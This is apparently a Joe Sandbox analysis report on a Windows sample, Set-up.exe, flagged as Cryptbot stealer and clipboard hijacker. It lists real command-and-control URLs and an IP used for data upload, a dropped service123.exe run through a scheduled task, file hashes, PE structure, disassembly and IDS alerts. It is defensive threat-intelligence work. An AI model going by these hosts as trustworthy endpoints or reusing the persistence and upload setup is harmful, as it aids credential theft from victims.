https://gcc.gnu.org/bugs/):	ehMlFMzYcqQvKbiEUyBC.dll.0.dr	false		unknown
https://duckduckgo.com/ac/?q=	Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://twelvevh12pt.top/v1/upload.php&&	Set-up.exe, 00000000.00000003.2040016353.000000000130B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://serviceupdate32.com/update	Set-up.exe	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://twelvevh12pt.top/v1/upload.php	Set-up.exe, 00000000.00000003.2040016353.000000000130B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://twelvevh12pt.top/	Set-up.exe, 00000000.00000003.2040016353.000000000130B000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.244.181.140	twelvevh12pt.top	Russian Federation		44901	BELCLOUDBG	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520814
Start date and time:	2024-09-28 00:08:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Set-up.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/2@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 14 Number of non-executed functions: 199
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Set-up.exe

Simulations

Behavior and APIs

Time	Type	Description
18:09:08	API Interceptor	3x Sleep call for process: Set-up.exe modified
18:10:32	API Interceptor	584x Sleep call for process: service123.exe modified
23:10:00	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.244.181.140	S#U0435tup.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	twelvevh12pt.top/v1/upload.php
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	twelvevh12ht.top/v1/upload.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	thirtvf13sr.top/v1/upload.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	thirtvf13vt.top/v1/upload.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	thirtvf13vt.top/v1/upload.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	fivevh5vs.top/v1/upload.php
	channel3.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	thirtvf13vs.top/v1/upload.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	thirtvf13vs.top/v1/upload.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	thirtvf13pt.top/v1/upload.php
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	elevenvf11pt.top/v1/upload.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
twelvevh12pt.top	S#U0435tup.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.244.181.140

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BELCLOUDBG	S#U0435tup.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.244.181.140
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.244.181.140
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.244.181.140
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.244.181.140
	file.exe	Get hash	malicious	Unknown	Browse	86.106.93.104
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.244.181.140
	file.exe	Get hash	malicious	Unknown	Browse	86.106.93.104
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.244.181.140
	channel3.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.244.181.140
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.244.181.140

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315771904
Entropy (8bit):	0.05300296695813313
Encrypted:	false
SSDEEP:	24576:rvFnL2romyzEHeDRuO1Q1tc5P3mt/a+qqMOO:rvI+DRuOOEy/a+q
MD5:	3DA963ED83B031CED52EB474AB2E3C09
SHA1:	ACBAC9D33F145A985AD9B1269431A9C9F405A300
SHA-256:	14279D900A6D1BA0B98F2C41453FE6A2605B6F019D5C76D6F520E4CAFC276B17
SHA-512:	8939A09142B4EE3364D6EEBC053D9FCA3D0E7A241AA23BDBB2533492D7257227BEA5BB0263B407A0104D0C1961483F3D9DDD57F2D39511553DCB59245138DC0B
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{..f...........#...#.Z...H...............p.....e......................................@... .........................`....................................0..........................................................t............................text....X.......Z..................`.P`.data........p.......^..............@.`..rdata..............t..............@.`@.eh_fram....P.......2..............@.0@.bss....t.............................`..edata..`...........................@.0@.idata..............................@.0..CRT....,...........................@.0..tls......... ......................@.0..reloc.......0......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314613760
Entropy (8bit):	0.0021512794930136233
Encrypted:	false
SSDEEP:
MD5:	62CC0B5676AC91389084FEE3D683DC68
SHA1:	1B4305F2E2D7950C0363739AA80C919841B16D20
SHA-256:	F743296CF48577C3F6EBE023B3A8B1613E902D248160F71E998B503B0318097F
SHA-512:	A05E4F907A92A3DD1429F0644ACA160134C558346B625B828BCCB5731CAAB0BE263E15468DD8DA2EF713E33A54C16170B63580CD57A93137E1596D0D7ADCB3AA
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p..f...............#.v........................@..................................k....@... .................................................................h...................................................X................................text...Xu.......v..................`.P`.data...X............z..............@.0..rdata..X............\|..............@.`@.eh_fram............................@.0@.bss..................................`..idata..............................@.0..CRT....4...........................@.0..tls................................@.0..reloc..h...........................@.0B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.6236305211780095
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Set-up.exe
File size:	6'614'719 bytes
MD5:	ff8b81c5bdbb09987a4ed216ae0010c2
SHA1:	1d5edf417a676e8e04a69dd94dac6a2a934cdfa6
SHA256:	d6a055bee4a39f5879ff522099df86cd0a0001228cac589b3f07449a5a822fef
SHA512:	9bad1fed2170e923e65f57e8ccbbfbe33fd8f01423469fa8e3d7a4c93c8c97fb84ea98df33901a11fdf8915dc7d9955046faf5c4f9ccf38d8606ccc2b91615fe
SSDEEP:	49152:4pVubXslypSy5wT96CHhbhiwOfHLaorKt5LJ8Vx2jaV9hIaDzNZMV/tIsQ:/jazH7iwOf/rKt38VC49hIMrMH5Q
TLSH:	5B66283B9A4355C8C13AB57ADC827F3FF8186AE443E9892B6C0508FCA755791E86D313
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..^..&.........#.fG...Y...f...........G...@...................................e....... .........................B..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4014b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x66F6DB9A [Fri Sep 27 16:21:46 2024 UTC]
TLS Callbacks:	0x868fc0, 0x868f70
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	92a00f4d0a4448266e9c638fdb1341b9

Entrypoint Preview

Instruction
mov dword ptr [00F2B34Ch], 00000001h
jmp 00007FD3E4BBCDD6h
nop
mov dword ptr [00F2B34Ch], 00000000h
jmp 00007FD3E4BBCDC6h
nop
sub esp, 1Ch
mov eax, dword ptr [esp+20h]
mov dword ptr [esp], eax
call 00007FD3E503226Eh
test eax, eax
sete al
add esp, 1Ch
movzx eax, al
neg eax
ret
nop
nop
nop
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 1Ch
mov dword ptr [esp], 0087A000h
call dword ptr [00F2D1F0h]
sub esp, 04h
test eax, eax
je 00007FD3E4BBD195h
mov ebx, eax
mov dword ptr [esp], 0087A000h
call dword ptr [00F2D210h]
mov edi, dword ptr [00F2D1F8h]
sub esp, 04h
mov dword ptr [008BF028h], eax
mov dword ptr [esp+04h], 0087A013h
mov dword ptr [esp], ebx
call edi
sub esp, 08h
mov esi, eax
mov dword ptr [esp+04h], 0087A029h
mov dword ptr [esp], ebx
call edi
mov dword ptr [00878004h], eax
sub esp, 08h
test esi, esi
je 00007FD3E4BBD133h
mov dword ptr [esp+04h], 008BF02Ch
mov dword ptr [esp], 00884000h
call esi
mov dword ptr [esp], 004015A0h
call 00007FD3E4BBD083h
lea esp, dword ptr [ebp-0Ch]
pop ebx
pop esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xb2c000	0x42	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb2d000	0x9e4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb30000	0xdfe28	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4829f4	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb2d1e0	0x190	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4764a4	0x476600	c5007517b2a111f1b6215df95d541e9e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x478000	0x1708	0x1800	2f895630c6e8a3f54079d53c7db88431	False	0.6139322916666666	dBase III DBT, version number 0, next free block index 10, 1st item "}\212A"	5.684371285661909	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x47a000	0x9c18	0x9e00	e6538e7ad2d6bc0f8089b04602d659f5	False	0.372206289556962	data	4.360263309483147	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
/4	0x484000	0x3aa5c	0x3ac00	882a17157402d7201a35321e395be61b	False	0.2441156914893617	data	5.087938296942671	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x4bf000	0x66ce54	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xb2c000	0x42	0x200	87a5e2519f843965227ee5f3c8599c81	False	0.123046875	data	0.7233135926899718	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0xb2d000	0x9e4	0xa00	07759335905d0c4cf96824b7fb4353c8	False	0.4296875	data	5.144871576549617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0xb2e000	0x34	0x200	bc151dc2cece8ca6c75d536b3276281c	False	0.0703125	Matlab v4 mat-file (little endian) P\217\206, numeric, rows 4198704, columns 0	0.27892677800628285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xb2f000	0x8	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0xb30000	0xdfe28	0xe0000	bc79fb7113991d3c8d2c806164250269	False	0.046024867466517856	data	6.841583720841163	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/14	0xc10000	0x690	0x800	7ad7f16fcd6c5ff774fcdcf49b733ca0	False	0.26513671875	Matlab v4 mat-file (little endian) \355\004, rows 2, columns 262144	2.169293257842307	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/29	0xc11000	0x1a7c4	0x1a800	dcde74953af45acc7cab073a1f49bb89	False	0.4239018278301887	data	6.076839380462319	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/41	0xc2c000	0x4c58	0x4e00	c272f07e704eb90e2b6c4c9bad844e11	False	0.1761318108974359	data	4.711442500030027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/55	0xc31000	0xe342	0xe400	ba9609b0acef1481719bb4e00f4bef84	False	0.47640830592105265	data	5.285114187967561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/67	0xc40000	0x1d54	0x1e00	51c0f44ac1c43c82112ef18aecdf7783	False	0.334375	data	4.878570677353131	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/80	0xc42000	0x961	0xa00	9109961d3d1231997c8aa80b9ef91e44	False	0.381640625	data	4.6390012281106685	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/91	0xc43000	0x18b05	0x18c00	3b5f4e3673df00d43d032639a56fe615	False	0.3387192234848485	data	4.160374229151645	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/102	0xc5c000	0x11c0	0x1200	acb9037b7b793eae32ab82637f1d257e	False	0.3736979166666667	Matlab v4 mat-file (little endian) \360, rows 16, columns 19, imaginary	3.383708098291067	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, FreeLibrary, GetLastError, GetModuleHandleA, GetModuleHandleW, GetProcAddress, GetStartupInfoA, GetTempPathA, InitializeCriticalSection, IsDBCSLeadByteEx, LeaveCriticalSection, LoadLibraryA, MultiByteToWideChar, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery, WideCharToMultiByte, lstrlenA
msvcrt.dll	__getmainargs, __initenv, __lconv_init, __mb_cur_max, __p__acmdln, __p__commode, __p__fmode, __set_app_type, __setusermatherr, _amsg_exit, _assert, _cexit, _errno, _chsize, _filelengthi64, _fileno, _initterm, _iob, _lock, _onexit, _unlock, abort, atoi, calloc, exit, fclose, fflush, fgetpos, fopen, fputc, fread, free, freopen, fsetpos, fwrite, getc, islower, isspace, isupper, isxdigit, localeconv, malloc, memcmp, memcpy, memmove, memset, mktime, localtime, difftime, _mkdir, perror, puts, realloc, remove, setlocale, signal, strchr, strcmp, strcpy, strerror, strlen, strncmp, strncpy, strtol, strtoul, tolower, ungetc, vfprintf, time, wcslen, wcstombs, _stat, _utime, _fileno, _chmod
SHELL32.dll	ShellExecuteA

Exports

Name	Ordinal	Address
main	1	0x4b6602

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-28T00:09:09.374047+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49730	185.244.181.140	80	TCP
2024-09-28T00:09:12.931853+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49731	185.244.181.140	80	TCP
2024-09-28T00:09:18.000992+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49733	185.244.181.140	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 28, 2024 00:09:08.680787086 CEST	49730	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:08.685847044 CEST	80	49730	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:08.685935020 CEST	49730	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:08.686074972 CEST	49730	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:08.686099052 CEST	49730	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:08.690963984 CEST	80	49730	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:08.691008091 CEST	80	49730	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:09.373891115 CEST	80	49730	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:09.374047041 CEST	80	49730	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:09.374047041 CEST	49730	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:09.374105930 CEST	49730	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:09.379664898 CEST	80	49730	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.870305061 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.875617981 CEST	80	49731	185.244.181.140	192.168.2.4
Sep 28, 2024 00:09:12.875727892 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.875874043 CEST	49731	80	192.168.2.4	185.244.181.140
Sep 28, 2024 00:09:12.875936985 CEST	49731	80	192.168.2.4	185.244.181.140
